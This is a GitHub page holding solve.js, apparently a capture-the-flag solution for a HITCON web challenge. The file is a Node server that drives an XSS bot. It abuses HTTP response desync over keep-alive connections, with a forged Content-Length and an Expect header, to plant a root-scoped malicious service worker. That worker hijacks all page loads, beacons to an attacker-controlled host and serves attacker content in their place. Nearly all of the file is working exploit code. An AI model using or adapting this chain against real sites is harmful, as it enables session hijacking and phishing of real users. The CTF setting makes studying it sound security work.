-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathsolve.js
172 lines (163 loc) · 5 KB
/
solve.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
const http = require('http')
const crypto = require('crypto')
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
const PUBLIC_URL = 'http://PUBLIC_IP_OR_HOST:1337' // public url to this server, no trailing slash
const ROUTE_NAME = 'wwwwwwwww' // assuming /~wwwwwwwww/ maps to this server
http.createServer(async (req, res) => {
if (!req.socket.id) {
req.socket.id = crypto.randomUUID().slice(0, 8)
console.log('connected', req.socket.id)
req.socket.on('close', () => {
console.log('close', req.socket.id)
})
} else {
console.log('reused', req.socket.id)
}
console.log(req.socket.id, req.url)
const url = new URL(req.url, 'http://localhost')
if (url.pathname === '/trigger') {
// send this url to xss bot
res.writeHead(200, { 'content-type': 'text/html' })
res.end(`
<script>
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
;(async ()=>{
w = open('http://web:3000/~${ROUTE_NAME}/')
await sleep(500)
w.location = 'about:blank'
await sleep(100)
w.history.back(1)
})()
</script>
<img src="/sleep">
`)
return
}
if (url.pathname === '/') {
res.writeHead(200, { 'content-type': 'text/html' })
res.end(`
<script src="xss.js?v1"></script>
<script src="xss.js?v2"></script>
<script src="xss.js?v3"></script>
<script src="xss.js?v4"></script>
<script src="xss.js?v5"></script>
<script src="xss.js?v6"></script>
<script src="xss.js?v7"></script>
<script src="xss.js?v8"></script>
`)
return
}
if (url.pathname === '/xss.js') {
const js = `
;(async () => {
if (window.running) {
console.log('already running another xss')
return
}
window.running = true
console.log('xss', origin)
const fetchsw = () => fetch('sw.js').then(r => false)
const regsw = () => navigator.serviceWorker.register('sw.js', { scope: '/' })
.then(reg => {
console.log('Service Worker Registered', reg)
return true
})
.catch(e => {
console.error('Service Worker Registration Failed', e)
return false
})
while (true) {
const ps = Array.from({ length: 10 }, fetchsw)
const success = await regsw()
if (success) break
await Promise.all(ps)
}
document.write('Service Worker Registered')
await new Promise(resolve => setTimeout(resolve, 1000))
location = '/~note/'
})()
`
const resp = `
HTTP/1.1 200 OK\r
Content-Type: text/javascript\r
Content-Length: ${js.length}\r
Connection: keep-alive\r
\r
${js}`.slice(1)
res.writeHead(200, {
'content-type': 'not/script', // triggers "block scripts just in case" (Content-Length: 0) but still can't be registered as service worker
'content-length': resp.length,
// node will flush header when sending `Expect` header
// see: https://github.com/nodejs/node/blob/ed6f45bef86134533550924baa89fd92d5b24f78/lib/_http_outgoing.js#L587
// this is to prevent chromium dropping connection when it detect extraneous response
expect: '100-continue'
})
res.flushHeaders()
await sleep(1000) // wait for the server the send the header first
// to node, this will still be sent to the browser
// but for browser, Content-Length: 0 tells it to ignore the response
// the delay is to the make make think this is the response of the next request on the same connection
res.socket.write(resp)
res.end()
return
}
if (url.pathname === '/sw.js') {
const js = `
addEventListener('install', e => {
self.skipWaiting()
})
addEventListener('activate', e => {
clients.claim()
})
addEventListener('fetch', e => {
fetch('${PUBLIC_URL}/hijack_success')
e.respondWith(new Response('<iframe src="${PUBLIC_URL}/frame"></iframe>', {
headers: {
'content-type': 'text/html'
}
}))
})
`
const resp = `
HTTP/1.1 200 OK\r
Content-Type: text/javascript\r
Content-Length: ${js.length}\r
Service-Worker-Allowed: /\r
Connection: keep-alive\r
\r
${js}`.slice(1)
res.writeHead(200, {
'content-type': 'not/script', // triggers "block scripts just in case" (Content-Length: 0) but still can't be registered as service worker
'content-length': resp.length,
// node will flush header when sending `Expect` header
// see: https://github.com/nodejs/node/blob/ed6f45bef86134533550924baa89fd92d5b24f78/lib/_http_outgoing.js#L587
// this is to prevent chromium dropping connection when it detect extraneous response
expect: '100-continue'
})
res.flushHeaders()
await sleep(1000) // wait for the server the send the header first
// to node, this will still be sent to the browser
// but for browser, Content-Length: 0 tells it to ignore the response
// the delay is to the make make think this is the response of the next request on the same connection
res.socket.write(resp)
res.end()
return
} else if (url.pathname === '/sleep') {
await sleep(15000)
res.writeHead(200)
res.end()
return
} else if (url.pathname === '/frame') {
res.writeHead(200, { 'content-type': 'text/html' })
res.end(`
<form action="/flag" method="GET">
<textarea name="flag"></textarea>
<button>Submit</button>
</form>
`)
return
}
res.writeHead(404)
res.end()
}).listen(1337)
// hitcon{chaining_known_browser_features_and_exploiting_client_side_desync}